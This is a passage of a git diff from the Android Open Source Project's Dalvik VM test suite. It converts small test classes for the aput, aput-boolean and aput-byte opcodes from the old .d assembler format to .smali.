+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_7.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([III)V
+.registers 10
+
+       aput v9, v7, v6
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_8.d
deleted file mode 100644
index 1f56222..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_8.java
-.class public dot.junit.opcodes.aput.d.T_aput_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([IFF)V
-.limit regs 11
-
-       aput v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_8.smali
new file mode 100644
index 0000000..1538b9f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_8.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([IFF)V
+.registers 11
+
+       aput v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_9.d
deleted file mode 100644
index 73c5932..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_9.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_9.java
-.class public dot.junit.opcodes.aput.d.T_aput_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([III)V
-.limit regs 11
-
-       aput v11, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_9.smali
new file mode 100644
index 0000000..39953c3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_9.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_9.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([III)V
+.registers 11
+
+       aput v11, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_1.d
deleted file mode 100644
index 0d97f3c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_boolean_1.java
-.class public dot.junit.opcodes.aput_boolean.d.T_aput_boolean_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZIZ)V
-.limit regs 11
-
-       aput-boolean v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_1.smali
new file mode 100644
index 0000000..57f2b52
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_1.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZIZ)V
+.registers 11
+
+       aput-boolean v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_2.d
deleted file mode 100644
index 2f73747..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_boolean_2.java
-.class public dot.junit.opcodes.aput_boolean.d.T_aput_boolean_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZDZ)V
-.limit regs 11
-
-
-       aput-boolean v10, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_2.smali
new file mode 100644
index 0000000..d1f3c06
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_2.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZDZ)V
+.registers 11
+
+
+       aput-boolean v10, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_3.d
deleted file mode 100644
index 9eae917..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_boolean_3.java
-.class public dot.junit.opcodes.aput_boolean.d.T_aput_boolean_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZIJ)V
-.limit regs 11
-
-
-       aput-boolean v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_3.smali
new file mode 100644
index 0000000..e7f4276
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_3.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZIJ)V
+.registers 11
+
+
+       aput-boolean v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_4.d
deleted file mode 100644
index 54f5a19..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_boolean_4.java
-.class public dot.junit.opcodes.aput_boolean.d.T_aput_boolean_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;IZ)V
-.limit regs 10
-
-
-       aput-boolean v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_4.smali
new file mode 100644
index 0000000..099cc98
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_4.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;IZ)V
+.registers 10
+
+
+       aput-boolean v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_5.d
deleted file mode 100644
index ecaf950..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_boolean_5.java
-.class public dot.junit.opcodes.aput_boolean.d.T_aput_boolean_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DIZ)V
-.limit regs 10
-
-
-       aput-boolean v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_5.smali
new file mode 100644
index 0000000..8924947
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_5.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DIZ)V
+.registers 10
+
+
+       aput-boolean v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_6.d
deleted file mode 100644
index db2bf25..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_boolean_6.java
-.class public dot.junit.opcodes.aput_boolean.d.T_aput_boolean_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JIZ)V
-.limit regs 10
-
-
-       aput-boolean v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_6.smali
new file mode 100644
index 0000000..4186a7a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_6.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JIZ)V
+.registers 10
+
+
+       aput-boolean v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_7.d
deleted file mode 100644
index 7e9ed2f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_boolean_7.java
-.class public dot.junit.opcodes.aput_boolean.d.T_aput_boolean_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZIZ)V
-.limit regs 10
-
-       aput-boolean v9, v7, v6
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_7.smali
new file mode 100644
index 0000000..ed7a575
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_7.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZIZ)V
+.registers 10
+
+       aput-boolean v9, v7, v6
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_8.d
deleted file mode 100644
index bf92b91..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_boolean_8.java
-.class public dot.junit.opcodes.aput_boolean.d.T_aput_boolean_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZFZ)V
-.limit regs 11
-
-       aput-boolean v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_8.smali
new file mode 100644
index 0000000..494a3548
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_8.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZFZ)V
+.registers 11
+
+       aput-boolean v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_9.d
deleted file mode 100644
index e42fd3a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_9.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_boolean_9.java
-.class public dot.junit.opcodes.aput_boolean.d.T_aput_boolean_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZIZ)V
-.limit regs 11
-
-       aput-boolean v11, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_9.smali
new file mode 100644
index 0000000..6de75fe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_9.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_9.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZIZ)V
+.registers 11
+
+       aput-boolean v11, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_1.d
deleted file mode 100644
index 097ae50..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_byte_1.java
-.class public dot.junit.opcodes.aput_byte.d.T_aput_byte_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BIB)V
-.limit regs 11
-
-       aput-byte v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_1.smali
new file mode 100644
index 0000000..c737802
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
